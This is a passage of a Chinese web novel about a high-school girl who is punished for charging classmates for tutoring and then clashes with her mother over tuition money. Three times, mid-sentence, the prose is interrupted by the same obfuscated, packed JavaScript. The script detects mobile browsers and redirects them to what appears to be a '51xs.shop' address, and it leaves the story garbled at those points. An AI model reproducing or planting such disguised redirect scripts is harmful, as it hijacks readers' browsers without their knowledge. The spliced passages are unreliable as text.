那边很快回复:“了不得,周条条竟然还会跟我说“谢谢”。” 文字没有情绪,但周窈似乎听到他在自己耳边轻笑,原本就红的脸,更红了。 外卖很快就送了过来,周窈拆了包装,一边仔细看说明书一边想去卫生间对着镜子涂药膏,经过陈娟房间时,她停下了脚步,扭头往房间里看了一眼。 没开灯的房间黑漆漆的,里面空无一人,被子叠得好好的放在床尾,空气冷清。 陈娟周六一大早就出门了,吵了一架的母女俩甚至连个照面也没打,只在周六晚上发了条消息过来,说她这两天都是二十四小时的活,不回来,让周窈自己弄着吃。 周窈也只回了两个字——好的。 估计那支药膏是顾彧特地问了何茜华之后买的,消红去肿的效果确实不错,周一上学的时候,周窈的脸已经恢复如常了。 当然,本来今天也不会有人过多地关注她,因为期中考试的成绩下来了。周窈对着自己几科成绩写写算算,最终得出了总分——627。 她第一次总分上了六百。 “厉害啊你!让我看看你数学考了多少……”说着,代薇子伸手去翻她的试卷,“140!你数学上140了!” 周窈抿唇看着自己的试卷,眼里却满是笑意。 前排孟初之小脸微红地转过来:“我数学也提高了十多分,总分上五百了……” “好棒!恭喜你!不过我还是要比你好一丢丢,我五百二,哈哈哈哈哈!”说完又扭头去问隔壁组的谭欣,得知谭欣总分也提高不少后,代薇子拍了拍周窈的肩:“还是得感谢咱们的周老师和顾老师……” 周窈笑了笑,突然想起了什么,转身问身后的蒋煜:“你多少分?” 蒋煜还在那做“算数”呢,老半天才算出一个总分,眼里满是惊讶,连他自己都不相信自己能考出这个分数…… “3……380……” 周窈拿过他的试卷看了一眼,嗯,数学67,语文95,英语71,理综147。 “你语文竟然及格了!”满分150,可不就是90分及格吗。 “卧槽,我TM想哭……呜呜呜呜……想不到我还有及格的一天……” 周窈笑着将他的试卷放回去:“语文基础题靠背,只要肯背自然能及格。” 说完,她又转身趴到顾彧桌上,翻他的试卷:“诶,你总分多少?” 此时顾彧正在看英语试卷上的一道错题,听见周窈问自己,他抬起头:“还没算。” 周窈摩拳擦掌:“我帮你算!” 刚把试卷抽出来,上课铃就响了,史芬头一次满面春风地进来,今天好像还特地打扮过似的,穿了件水红色衬衣,男生们立即起哄:“哇呜,史老师,今天是要约会吗?” 史芬斜眼呿了一声:“约会是没有,表彰大会倒是有。” 说着,她拿出一张总成绩单:“这次期中考试,我们班考得非常好!” “哇——” “平均分有史以来第一次,上了四百!” 后排气氛组掌声雷动,而蒋煜则瞬间蔫了:“我去,我还是拖后腿了啊……” “下面表扬几位进步极大的同学,李铭轩,这次总分425,班级排名29,年级段排名457,比上学期末进步了97名!” “牛逼啊小李哥!”蒋煜高喊着给自己的好兄弟捧场,却没想到接下来史芬就念到了自己。 “蒋煜,这次总分380,班级排名34,年级段排名519,比上学期末进步了65名!” “蒋总牛逼!” “蒋总一言既出驷马难追啊!” 起哄声中,蒋煜捂住脸,耳朵都羞红了:“别,别吹捧我,我害羞……” “艹了,你害羞个屁啊哈哈哈哈!” 史芬还没说完:“这次不仅我们的后进生有进步,我们排名靠前的同学也有进步,首先是顾彧,这次依旧年级段第一,总分713,逼近上一届省状元的分数了。” “哇……”如果说刚刚对蒋煜还算是起哄,那这次就是对不可企及的山巅的感叹了。 “还有周窈,这次也考得很好,总分上了六百二,年级段67,再努力一把,争取能考进前五十。” 周窈抬头,迎上了史芬鼓励的目光。 表彰完了,那剩下的就是批斗了。 史芬扶了下眼镜,表情逐渐严肃:“这次班级整体都考得非常好,但也有个别同学,成绩出现了严重下滑!我说过很多次了,学生要以学习为重!你们人生现阶段最重要的关卡,就是高考!我甚至可以说,什么事都没有高考重要!” “我知道你们这个年纪,青春期有些躁动,有些自己的小情绪,想要搞一些风花雪月,但高考不止考验你们的知识储备,更考验你们的自制力!自控力!耐力!现在已经高二了同学们,新的知识点高二基本就都学完了,现在对你们来说多重要啊,满打满算两年不到,这都忍不住吗?!就一定要尝点新鲜的,玩点花的,然后把自己的未来赔进去是吧!?” 史芬的一番话,看似老生常谈但细细琢磨又仿佛意有所指。 周窈正纳闷呢,代薇子用手肘捅了捅她:“哎,你看荣子涵。” 周窈偏头看去,就见荣子涵正趴在桌子上哭呢。 “她哭什么?没考好?” 代薇子摇了摇头:“不知道,但你听史芬这话,说得不就是她么?和朱鑫纬风花雪月……” 闻言,周窈又朝荣子涵看了几眼,向来高傲的小天鹅此时像个失败者一样伏在桌面上哭,身体随着她的抽泣而剧烈起伏。不知为什么,周窈心里也不是滋味。 考试向来是几家欢乐几家愁,荣子涵没考好,但蒋煜却要得意上天了,拿着成绩单满屋子转悠。 “看看,什么叫实力,这就是实力!学习有什么难的,给我俩礼拜,照样考上去!” “牛逼啊蒋总!” “蒋总霸气!” 蒋煜搭着李铭轩的肩朝四面八方挥手致意:“好说好说,希望大家都能向我俩学习,任何情况下都不要畏难!不要退缩!勇于进取!鼓掌!” “啪啪啪啪!” “切,狗屎运罢了。” 一片高兴热闹的氛围中,冷不丁冒出这么一句话来,多少有些扫兴。 蒋煜循声望去,就见孔昊英冷冷地看着他们,当下就不爽了起来。 “哟,让我看看咱们学委考多少分啊,你不总嚷嚷着要考第一吗?数学135,英语132,语文122,理综210……让我算算总分,599哈哈哈哈哈哈!咋地,你满六百减一啊?” “你不就是个三百八,哪来的脸笑话我啊!” “哎,分不在高,不垫底就行,我好歹还有上升空间,学委你怎么考来考去这点分啊,这次是满六百减一,下次你小心满六百打对折!” “放屁!我下次一定会考上六百五!” “那你考呀,讲道理你考几分又不关我的事。” “那你干嘛算我分数!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598621|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我看乐子不行啊,管得真宽。” “你——”孔昊英气得差点要拍桌子,却突然想起了什么,扯了扯嘴角,咧开一个轻蔑的笑容:“看乐子之前,我建议你先查查,三百八能上哪一所技校,要不你去澳门进修一下吧,反正你家不是开棋牌室的吗?专业对口,你妈现成的性感荷官,你美滋滋收钱,提前啃老,不好吗。” “孔昊英我艹你——” 两人剑拔弩张眼见着就要打起来,边上的李铭轩赶紧冲上来劝架,就连顾彧也摘了耳机站了起来。 冲突拉扯之中,就听一道女声响起。 “孔昊英,你记不记得你答应过我什么。” 孔昊英原本还在洋洋自得地欣赏蒋煜被自己的激怒的表情,闻言背脊突然一紧,他扭头朝周窈看了一眼,咬了咬牙:“我不记得我答应过你什么。” “哦。”周窈转了转笔:“那我也不记得承诺过你什么,而且我还自带人证。” 眼神紧张地往顾彧身上瞟了一眼,后者表情松闲地看着他,孔昊英磨了磨后槽牙,收起了刚刚那副奚落讥讽的样子,十分不甘心地往后退了两步。 都准备上手了的蒋煜不知道孔昊英和周窈在打什么哑谜,只一头雾水地站在原地。 半晌,才听见孔昊英动了动嘴,小声说了些什么。 “啊?你说什么?” 孔昊英抬头怒瞪蒋煜,而蒋煜则一脸无语:“你瞪我干什么,你自己说这么小声,谁听得见?你是不是又骂我全家呢?!” 孔昊英愤懑地鼻孔出气,几乎是大声吼了出来:“我说!对不起!不该说你拖班级后腿!” “我艹你——啊?啊?” 教室里顿时安静了下来,几乎周围所有人都一脸懵逼地望着孔昊英。 “什么情况?学委在给蒋煜道歉?!他刚刚不还骂人家妈吗?” “卧槽,今天太阳从西边出来的吧,这么离谱?!” 别说周围这帮看客了,就连当事人蒋煜也不敢相信眼前发生的一切,刚刚还差点跟他打起来的孔昊英,现在竟然在向他道歉! 被那么多人围观,孔昊英只觉得自己像热得快,快要炸了。他不情不愿地扫了一眼周窈:“可以了吧。” 周窈看了他一眼,没说话,低头继续做题,仿佛这事从头到尾就跟她无关似的。 “MD!”孔昊英骂骂咧咧回到自己位置上,怨恨地瞪了一眼周窈。 蒋煜这才回味过来到底是怎么一回事,他三两步窜到周窈边上,扒着桌子:“阿周!我亲爱的阿周啊!还得是你想着我!我发誓,以后我会像孝敬我爹妈一样孝敬你的!我亲爱的周!” 顾彧正在回何茜华的消息,闻言敲了敲桌面:“注意你的措辞。” 平时顾神天顾神地的蒋煜今天却大手一挥:“顾神你别管,这是我和阿周之间的羁绊!” 代薇子差点笑喷:“什么羁绊,你热血动漫看多了啊?” 蒋煜拍着桌子:“这还不热血吗?!这已经是我人生中最高光的时刻了!” 一堆人吵吵闹闹,中间却意外夹杂着几声啜泣,几人循声看去,荣子涵还趴那哭呢,边上她几个好闺蜜正在安慰她,不过看起来也无济于事…… “子涵,史老师让你去趟办公室。” 在众人的注视中,荣子涵颤颤巍巍从座位上爬起来,抹着泪哭丧着脸出去了。 蒋煜眼疾手快拦住了刚刚经过的谭欣:“小班班啥情况啊?咱们家子涵都哭了一节课了。” 谭欣压低了声音:“子涵被叫家长啦,她和朱鑫纬早恋的事不知为什么被史芬知道了,直接见光死,而且她这次期中成绩滑到二十名开外了。” 九班的二十名开外,基本就和本科无关了。 “哦,怪不得哭呢,被棒打鸳鸯了啊。” 闻言,周窈抬头看了一眼荣子涵的座位方向,她的试卷还摊在桌上,隐隐约约能看到一个鲜红的“98”。 想起自己心中那些不成熟的旖念,周窈握笔的手突然攥紧。 果然,谈恋爱只会影响她做题的速度。就算顾彧帅成吴彦祖,帅成金城武,她都不能早恋! 51. 东窗事发 期中考试进步的开心氛围并没有持续很久,就被荣子涵早恋的事弄得人心惶惶。 早自习,周窈刷题,代薇子偷偷在边上噼里啪啦地按手机,这周她们组的座位刚换到窗边,隐蔽得很。 “绝了绝了。” “什么?” 代薇子偷偷把手机伸过来给周窈看:“荣子涵的空间,全是些酸涩文学,我牙都快酸掉了。” 周窈低头瞄了一眼,也不自觉地蜷缩了肩膀。 【甜蜜总是短暂,未来总是难测,某天睁开眼,你我就分道扬镳。】 【我恨自己弱小,无力与命运和权利抗争,究竟什么时候我才可以长大,勇敢地走向自己的爱人?】 【说个笑话,这个世界是用爱构成的,却不允许你我相爱。】 【歌曲分享:杨千嬅《少女的祈祷》,祈求天父放过一双恋人……】 【原来传闻是真的,一夜之间,我听懂了所有情歌……】 【如果成熟需要代价,让我永远做那个不谙世事的小女孩可以吗?】 周窈:地铁老爷爷看手机。 “什么毛病?” 代薇子悄声笑道:“青春疼痛文学。” 周窈摇了摇头,她的青春,只允许学习存在。 “棒打鸳鸯”行动并没有在荣子涵和朱鑫纬这收手,而是轰轰烈烈进行了好几天。 大课间的时候于奥琪也特地跑来八卦(划掉)打探“敌情”。 “我们班竟然拆了六对!都不知道班主任是怎么知道的。”说完,她趴在窗台边眼珠子转了转就往周窈和顾彧身上瞟:“你们俩……没事吧?” 周窈瞥了她一眼,只能再澄清一遍:“关我们什么事?我们俩清清白白好吗。” 于奥琪捂嘴夸张道:“你们俩怎么还没在一起?!那我是不是还有机会?” 周窈“砰”得一声关上窗:“对不起你没有。” 身后顾彧戳了戳她的后背:“物理卷子给我一下,跟你对下答案。” “哦。”周窈转身递卷子,却不经意间对上顾彧的眼睛。 他眼睛很漂亮,眼头狭长眼尾轻挑,瞳色比平常人浅一些,像是好看的琉璃珠子,多看一会像是会被他吸进去。 “拒绝早恋”四个大字突然在脑海里回响,像是在给她敲警钟。 周窈心下慌张,直接伸手遮住了顾彧的眼睛。 “你别看我。” “嗯?”顾彧微微歪着头,长睫毛在周窈手心轻轻刷过,引起轻微战栗:“为什么不能看你?周条条这么好看。” 心尖一颤。 “闭嘴!不许说这种话!” 曾被班里女生私下评论为“很好亲”的嘴唇又委屈地抿了起来:“实话也不让说……” “就不许说!” 周窈松开手,瞪眼警告,顾彧委委屈屈也不敢反抗,也不知道她为什么突然这么反常,但向来“不敢”惹周条条的他也只能听话地低下头,跟她对答案。 答案对到一半,就听门口有人叫她。 “周窈,史芬叫你去办公室!” 周窈心一凛:“史芬找我干嘛?” 对方摇了摇头:“不知道,没说。” 难不成因为早恋的事? 呸呸呸!她跟顾彧又没谈恋爱! 下意识看了顾彧一眼,嘱咐他把错题标注出来后,周窈独自往办公室方向去。而她离开后,顾彧则侧着头透过窗户,注视着她的背影消失在楼梯口,眉间有淡淡的忧虑。 办公室里此时气氛异常凝重,史芬抱着手臂倚在办公桌边,而年级段段长,也是一班班主任灭绝师太则站在她对面,两人看起来似在讨论些什么,言辞激动,史芬表情不佳。 周窈觉察到气氛不对,上前敲了敲门:“史老师,您找我?” 史芬招手:“进来吧。” 周窈一脸疑惑地进入办公室,刚想问史芬找她什么事,边上的灭绝倒是直接开门见山:“你就是周窈是吧,有人向我举报,你在班级里开补习班收取费用,有没有这事?” 看似疑问句,但灭绝的语气却好像她已经做实了这项“罪名”似的。 周窈脑袋嗡得一下,下意识朝史芬方向看了一眼。 史芬避开了她的眼神,往边上一站:“老实说。” 周窈不懂史芬这是什么意思,便选择实话实说:“不算补习班,就是给个别同学补课,收点补课费用。” “啪!”灭绝一巴掌拍在桌子上,显然是气得不轻:“你倒是还理直气壮啊,做生意做到学校里来啦?!还收补课费,你是老师吗?!” 周窈觉得奇怪:“我牺牲了自己的学习时间精心准备补习材料帮他们补习,收点费用怎么了?” “你当学校什么地方啊?学校本来就是传授知识的地方,学生们平等交流学习,你却拿这个赚钱?!” “我不觉得有什么问题。” “你不觉得?你知不知道学生私自组织有偿补习,是违反规定的行为?!学校是可以对你进行严惩的?!还办补习班,你有教师资格证吗?!” 周窈依旧不理解,但听上去,似乎这件事非常严重。她站在办公室里,视线扫过四周,看见不远处坐在位置上假意备课实则看热闹的数学章,后者推了推眼镜,不明以为地哼笑了一声。 她伸手朝数学章的方向一指:“那像他那种明里暗里要求所有学生双休日到他那里补课,不去就要天天忍受他的阴阳怪气的行为,又叫什么呢?章老师补一节课就收两百,一个学期两三千,成绩又提高了多少呢?我这个补习,每天两个小时才收几十块钱,但他们的成绩提高几十分,我没白收他们钱!甚至还拉高了班级平均分!高中不就是以高考为目的的地方吗?既然成绩能提高,我又有什么不对?!” 数学章见火就要烧到自己这来了,赶紧撇清关系:“你这个学生怎么胡说八道呢,我几时逼你去我那补习了?话不能乱说!” “你——冥顽不灵是吧!”灭绝气得脸都胀红了,周窈记忆里,还没见过这位中年女老师如此激动过。 史芬见状赶紧上前:“周窈家里确实有些困难,想要赚点钱勤工俭学无可厚非,而且这次我们班的成绩能提高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13607365|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确实有她的功劳,她在帮别人补课的过程中,自己的成绩也提高了不少。这次她这种违规的行为,归根究底还是怪我给她开了这个口子,我倒也没想到事情会发展成这样,要不我再教育教育,她很聪明,肯定会理解老师们的良苦用心。” 边上数学章偏偏又添一把柴:“呵,得了吧史老师,你就别包庇她了,我都没跟你们说,刚开学那会我就接到举报,说她卖□□了。□□都敢卖,收钱开补习班算什么?” 他话一说完,史芬唯有无奈扶额。 灭绝一副说累了的样子:“得了,叫家长来吧,这种学生我是教育不了了。” 周窈站在原地,看着史芬给陈娟打电话,倔强地抿着嘴,一声不吭。 史芬打完电话就看她一脸不服气地站在那,眼眶虽红但一滴泪都没掉,知道她现在是什么话都听不进去,史芬深深叹了口气,递了杯水给她。 “喝两口水,等你妈来吧。” …… “完了完了完了!” 自习课,史芬破天荒地没来班级里盯着,蒋煜倒是从外面冲进来,大呼小叫。 顾彧抬头看了一眼前排依旧空着的座位,问他:“怎么了?” 蒋煜跑得上气不接下气:“周窈被三堂会审了!GA的事不知怎么被灭绝知道了,正在审她呢!声音大得走廊上都听到了,还说要叫周窈她妈来学校!这下糟糕了,事情不会搞大了吧!哎呀都怪我,起什么名字不好要叫GA,这不就被一锅端了吗?!” 李铭轩闻言也围了过来:“不就是补个课吗?他们干嘛大惊小怪,而且周窈给我补课,是史芬允许的。” 代薇子拿起手机搜了两下:“本来她给你一对一补课确实没啥问题,但咱们人一多,可能就有踩线的危险了……” “那怎么办啊,阿周不会被退学吧?!” 代薇子也没了主意,一脸颓丧:“不知道……” 一整节自习课,周窈都没回来,GA的几人也担心得不行,一直在群里讨论着事情的进展。唯有顾彧,看起来还算淡定,自顾自刷题。 边上蒋煜看不下去了:“顾神你倒是想想办法啊!周窈可是你的救命恩人啊,你不能不管她吧!” “现在事情还没有定论,担心也是徒劳。” “不是吧顾神,你这也太冷血了!”说完,蒋煜赌气背过身去不理他。 顾彧给手里的卷子翻了个面,抬头看了一眼前排空着的座位,又像是有所指似的朝隔壁组看去。 原本班级里最吵闹的蒋煜他们这会偃旗息鼓,而平时话少的学委孔昊英那块倒热闹了起来,有说有笑不知道在讨论什么。 顾彧盯着他看了几秒,随即继续低头做题。 没一会,又听蒋煜刻意压低了声音惊呼:“那是周窈她妈吧?” 他抬头一看,不远处大门口,有个女人正小跑着往教学楼这边来,顾彧眯着眼睛辨认了一番,确实是陈娟。 “完蛋了,阿周这一顿打肯定是逃不过了……” 代薇子撑着头叹了口气:“如果只是挨一顿打,那都算好的了……” 52. 钱 办公室里,灭绝正跟匆匆赶来的黄主任细数周窈的“罪状”。 “一点悔改的意思都没有!我还没碰到过这样的学生,理直气壮的!也不知道平时家长是怎么教育的!” 话音刚落,传来一阵怯怯的敲门声。 “老师您好,我是周窈的妈妈……” 众人朝门口看去,刚刚还在质疑家庭教育的灭绝师太,顿时失了言语。 原因无他,匆匆从医院赶来的陈娟此时看着……也过于狼狈了一些。 她脸色苍白,眼窝凹陷,眼底泛着浓重的青黑,连轴熬夜让她的头发显得有些油腻,一缕一缕的紧紧贴在头皮上,没来得及换下的灰白工作服上,满是深褐色的不明污渍。 陈娟几乎没来过学校,上学期的家长会她都因为工作赚钱,周窈入学一年多了,她连史芬长什么样都不知道,更别提来办公室了,因此多少显得有些局促,脸上写满了紧张。她探头朝门内看了一圈,在看到站在办公桌边“罚站”的周窈后,明显地像是松了口气。 她快步来到周窈身边,对史芬点头哈腰:“对不起啊老师,我们周窈是犯了什么错了吗?” “呃,周窈妈妈,是这样的……” 在史芬跟陈娟陈述整个过程的时候,周窈就静静地站在一边,看着陈娟。 两天没见,陈娟又憔悴了许多,上次见她时的情形,现在回想起来竟然觉得有些久远。 周窈很难解释此刻的心情,有点愧疚,有点心疼,同样的,也有点觉得丢人,比起穿着得体整洁的老师们,陈娟在中间像是个异类,加上边上灭绝、老黄以及数学章对她们母女投来的探究的眼神,更让她如光着身子被人围观那么羞耻,她甚至开始埋怨陈娟,明明不用这么着急赶来的,洗把脸换身衣服也好。 看着她衣服上的那几滩污渍,也不知道是哪位病人呕出来的血水,又或许是没清理干净的排泄物…… 突然之间,胸口像是被人堵住了似的,呼吸困难,眼眶也逐渐灼热。 史芬大致跟陈娟说清了眼下情况,陈娟急急追问:“那会被退学吗?” 周窈有些惊讶地抬头,她从不觉得陈娟对她的学业有多看重,大多数的时候,她更希望自己能早点打工赚钱贴补家用的,至于她挂在口中的“你看人家小彧成绩多好”,也不过是眼馋顾彧拿到手的奖学金罢了。 “那倒不至于。”史芬解释着,“不会到退学这么严重,但可能会涉及通报批评或者记过,这些是会计入档案的。” 边上老黄也搭腔:“如果记了过,对毕业啊,上大学啊这些都会有影响。” 这些陈娟倒是不懂,自从她听到周窈不会被退学后,表情就逐渐松弛了下来,甚至变得有些散漫敷衍,仿佛对这件事根本不怎么在意。 许是看出了她的态度,灭绝接着说道:“周窈妈妈,这件事在我们学校层面来看还是很严重的,而且显然周窈并没有认清她的问题,还拒不认错。在教育这件事上,我们一直认为,学校、老师和家长是缺一不可的,学校教知识,家长言传身教,不能什么事都指望老师,希望你回家也能和周窈好好聊聊,让她能充分认识到自己的错误。” “哦,好的好的!” 周窈斜睨了陈娟一眼,怀疑她并没有听出灭绝的话里有话。 似乎只要不被开除退学,在陈娟这里就不算什么大事,此时的她早已没了刚进来时的那种战战兢兢,整个人像是放开了似的,甚至能笑着和灭绝说话。 “哎呀不好意思啊老师,我工作太忙,对周窈的学习确实是疏忽了,她平时在家里还挺乖的,哪能想到她胆子这么大!你们刚刚说的那些啊,我也都听进去了,放心吧,回家我肯定好好说她一顿!”说着,对着周窈的后脑勺就是一巴掌:“你看看你,惹这么大祸,还不赶紧给老师道歉!” 史芬见状连忙伸手阻止:“哎哎,周窈妈妈,别打孩子,打是解决不了问题的,周窈聪明,这次期中又是班级第一,和年级段前五十的差距也缩短了很多,你好好跟她说,她肯定能听进去的。” 陈娟这才收了手:“啊是吗,那是老师教得好……” 之后的谈话内容就更敷衍了,几个人像是打太极似的兜圈子,最后还是老黄拍板,说处理结果得他们具体商量以后再说,让陈娟回家好好教育教育周窈,先写份检讨,如果她认错态度良好,可以考虑从轻处理,陈娟这才带着周窈走出了办公室 才走到楼梯口,刚刚还一脸笑意和老师们道别的陈娟突然变了脸,她扭头怒瞪周窈:“就为这破事你们老师把我喊来,我医院里还特地让人给我顶班,还得给人钱!” 周窈低着头,脚尖蹭着墙皮,黑色的帆布鞋头上很快蹭了一层白灰。 “你先回去吧,我没什么事,回头我会找我们班主任说的。” 陈娟翻了个白眼:“本来就没什么事,你们老师也真是的,大惊小怪。”说着,她登登登地下了楼,周窈想送她出去,便也跟着下楼。 到了楼下,陈娟突然又想起什么,急急转身:“你给人补课赚的钱,不用退还吧?” 周窈怔了一下,显然没想到陈娟会问她这个,但她还是老实地回答:“不用,已经补完了。” “那就好。”陈娟咧开了个笑容,她嘴唇干,一笑便裂开了几道口子,隐隐有血水渗出。周窈想回班级给她拿杯水,刚想转身就听她说道:“既然你都这么能赚钱了,那以后的学费我就不给你了,你自己交吧。” 什么? 听到的瞬间,周窈甚至怀疑自己的耳朵。 “我赚钱是为了买学习材料,还要攒读大学的学费。” “大学?还早着呢你现在操什么心,高考完了你有三个月可以打工呢,还不够吗?而且考不考得上都另说……” “妈!” 周窈难以置信地听着陈娟的这些言论,头昏脑涨。 “我连生活费都不问你拿了,现在你还要断了我的学费?!” 陈娟稀奇地看着她:“怎么了,你不是赚到钱了吗?我听你们老师说的,你还挺能耐啊,在班级里开辅导班,既然都能赚钱了为什么不自己付学费?” “我可以赚,但我没那么多精力!我还要学习,我还要高考,我没办法每天为了学费奔波。妈妈,我高二,不是大二!高三的学习强度会更大,我哪有时间去赚钱?!”周窈越说越崩溃,最后几乎是压着声音吼出来的。 “要死啊你,这么响干什么?!一会你们老师又得追出来。”陈娟抬头往楼上瞄了一眼,随即压低了声音:“你没时间赚钱,难道你妈我的钱是大风刮来的吗?我就活该给你赚学费?” 钱钱钱钱,周窈只觉得自己都快要不认识这个字了。 她扶着自己的额头,竭力克制着自己的情绪,哽得发痛的喉咙提醒她,她离崩溃可能只有一线之隔。 “你不是活该给我赚学费,你是活该替周建民还债!”她从齿缝中挤出这么一句:“我们为什么要过这样的生活呢……” 陈娟看着她,到底是自己女儿,她当然也不希望周窈过得苦,如果能打扮成小公主,为什么要活成灰姑娘呢? 但是…… “再等等……”她上前,轻拍了两下周窈的肩膀:“等你爸爸回来,一切就都好了。” 心里的光彻底熄灭了。 周窈抬头看向陈娟,刚才还是眼见着要崩溃,但现在的她,竟然渐渐平静了下来,眼神中那些质疑、不解迅速褪去,转而变成了一潭死水。 这一刻周窈绝望地想,自己这一辈子,搞不好也就这样了。 / 下课铃响了一会了,班级里的同学陆陆续续放学走了。 代薇子望着身边还空着的座位,叹了口气:“怎么还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624052|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不回来啊?不会真的要吃处分吧……” 蒋煜上蹿下跳急得不行,早就窜出去打听消息去了,过了一会也不知道从哪回来,刚进门就嚷嚷起来了:“阿周她妈回去了!怎么处理好像还没下定论。” “那周窈呢?” 蒋煜摇了摇头:“不知道,没看见……反正不在办公室。” 后排,刚给人讲完题的顾彧转了下手里的笔,突然起身往外走去。 “哎顾神你去哪啊?” 顾彧向后挥了挥手:“你们先回去吧!” …… 图书馆里,周窈呆呆地盘腿坐在角落,她膝盖上放了一本书,但她显然并没有在看。 窗外,下课铃响起的瞬间,整座学校都像是沸腾了,唯有这里,还留有一片清静。 抬头看了眼墙上挂的钟表,五点了,图书馆五点半闭馆,她还能再待半个小时。 不过也够了,起码有半个小时能让她什么都不想地自由喘息。 厚重的玻璃门被人从外面支呀一声推开,随后是轻微的脚步声。 周窈有些烦躁地抓了抓头,心底抱怨着今天老天是不是非要跟自己作对,一点空间都不给她。正想着干脆回家算了,那串脚步声就到了跟前。 随即视线里出现一双长腿。 她抬头:“你怎么找到这来了?” “你没回教室,我就猜你躲在这。”顾彧在周窈身边蹲下,细细看着她的脸,似乎想确定她有没有挨打。 周窈撇撇嘴,低下头不看他:“倒也不是躲,就是想一个人静静。” 见她看上去还好,顾彧也学着周窈的样子,盘腿坐在她身边。 “阿姨说你了?” “呵。”周窈冷笑:“灭绝要是知道陈娟跟我说了什么,她一定会后悔叫家长这个决定。” 顾彧挑眉,没过一会就猜了个大概。 两人默默无言了一阵,周窈不说,顾彧也不问,就这么安静地陪着她坐着。 没过一会,周窈指着摊在膝盖上的那本书说:“真羡慕他去过这么多地方。” 顾彧摸了摸她的头:“你以后能去更多的地方。” “得了吧。”想起陈娟拒绝再给自己支付学费的决定,周窈一脸沮丧,随即她似想起了什么,抬头问道:“他们说我收费补习是错的,可我不这么觉得,你也觉得我错了吗?” 她急于向顾彧求证,她是不是真的错了,她知道卖答案不对,但从来没想过帮人收费补习也是不对的。她太想知道了,到底是她错了,还是这个世界错了。 而顾彧只说:“未来你考上好的大学,就能有更多赚钱的机会,赚更多的钱。” 眸光中那枚刚刚燃起的火焰又渐渐熄灭了。 周窈了然地点了点头,神色黯然:“你也觉得我错了,可是我现在连大学的学费在哪里都不知道。周建民给我们留下一屁股的债,自己跑了,我妈每天还沉浸在对他不切实际的幻想里,苦苦为他还钱,可是每个月还的钱,甚至连利息都不够。” 方才因为陈娟而压下去的滔天的委屈突然又涌了上来,周窈用力地吸了吸鼻子却无济于事,眼泪还是一颗颗砸在了她放在膝头的那本书上,发出“啪哒”的声响。 泪水很快模糊了视线,即便她知道此时顾彧还坐在身边,也无力去管丢不丢人这件事了,毕竟克制住不发出哭声,已经用尽了她全部的力气。 因为情绪激动而发烫的脖颈突然被一只带着凉意的手抚住,随即周窈就觉得自己的头一歪,靠在了身边人宽厚的肩膀上。还没来得及落下的泪,就这么顺着脸颊滴在了他的外套上,又是“啪嗒”一声。 “没关系,这里只有我在,哭出来也不要紧。” 秋日傍晚静谧的图书馆里,周窈伏在顾彧的肩头,哭得上气不接下气,像是要把多年的委屈一次性都倒个干净。 53. 检讨 半个小时,足够周窈哭个够了,顾彧整个肩头几乎都被她的眼泪打湿了。 她伸手拂了下:“我帮你洗干净吧。” 顾彧侧过脸看她,周窈的眼睛和鼻头都红红的,像只兔子,说话间也带着浓重的鼻音。 “没关系。”他从口袋里拿出一包纸巾,抽出一张给周窈擦泪。 “你怎么会有纸巾?” “走前问代薇子要的。” 嗯?什么意思?他怎么知道自己要哭? 像是看穿了她的疑惑,顾彧把剩下的纸巾塞到周窈手里:“只是以防万一,听说阿姨被叫来了,总觉得这事不会就这么了结。” 他又问:“所以史芬他们怎么说?” “不知道。”周窈收起纸巾摇了摇头:“说是看我认错态态度,然后再商议决定。” “但我一点都不想认错……”周窈抬起头,望向顾彧,眼神有些无望:“我是不是没救了?根本认识不到自己的错误……” 顾彧看着她,无声地叹了口气,既说不出“你没错”,也因为太了解周窈的处境,而同样说不出那句“你错了”。 所以他只能轻轻抱着她,给与她无声的安慰,好让她知道,她的世界里不止有她自己一个。 “里面还有人吗?图书馆要闭馆了。” 周窈慌忙起身,抬头看了一眼时间,已经五点半了,到闭馆的时间了。 “老师!还有人!我们马上就走!” “好,快点出来啊。” 周窈抹了把脸,没有磨蹭,和顾彧一前一后走了出去。 图书管理员是一位中年女老师,周窈总来,也算是眼熟了,见他们俩出来,没忍住调侃了一句:“躲图书馆里谈恋爱是吧?” “没,没有——”周窈连连摆手,而对方只是促狭地笑了笑:“放心吧,我不会告诉你们老师的。赶紧回去吧,入秋天黑得越来越早了……” 周窈低着头拽着顾彧往外冲:“知道了,老师再见。” “再见再见。” 一路小跑,到门口才发现自己一直牵着顾彧的手,又慌忙松开。 顾彧歪头笑她:“你慌什么。” 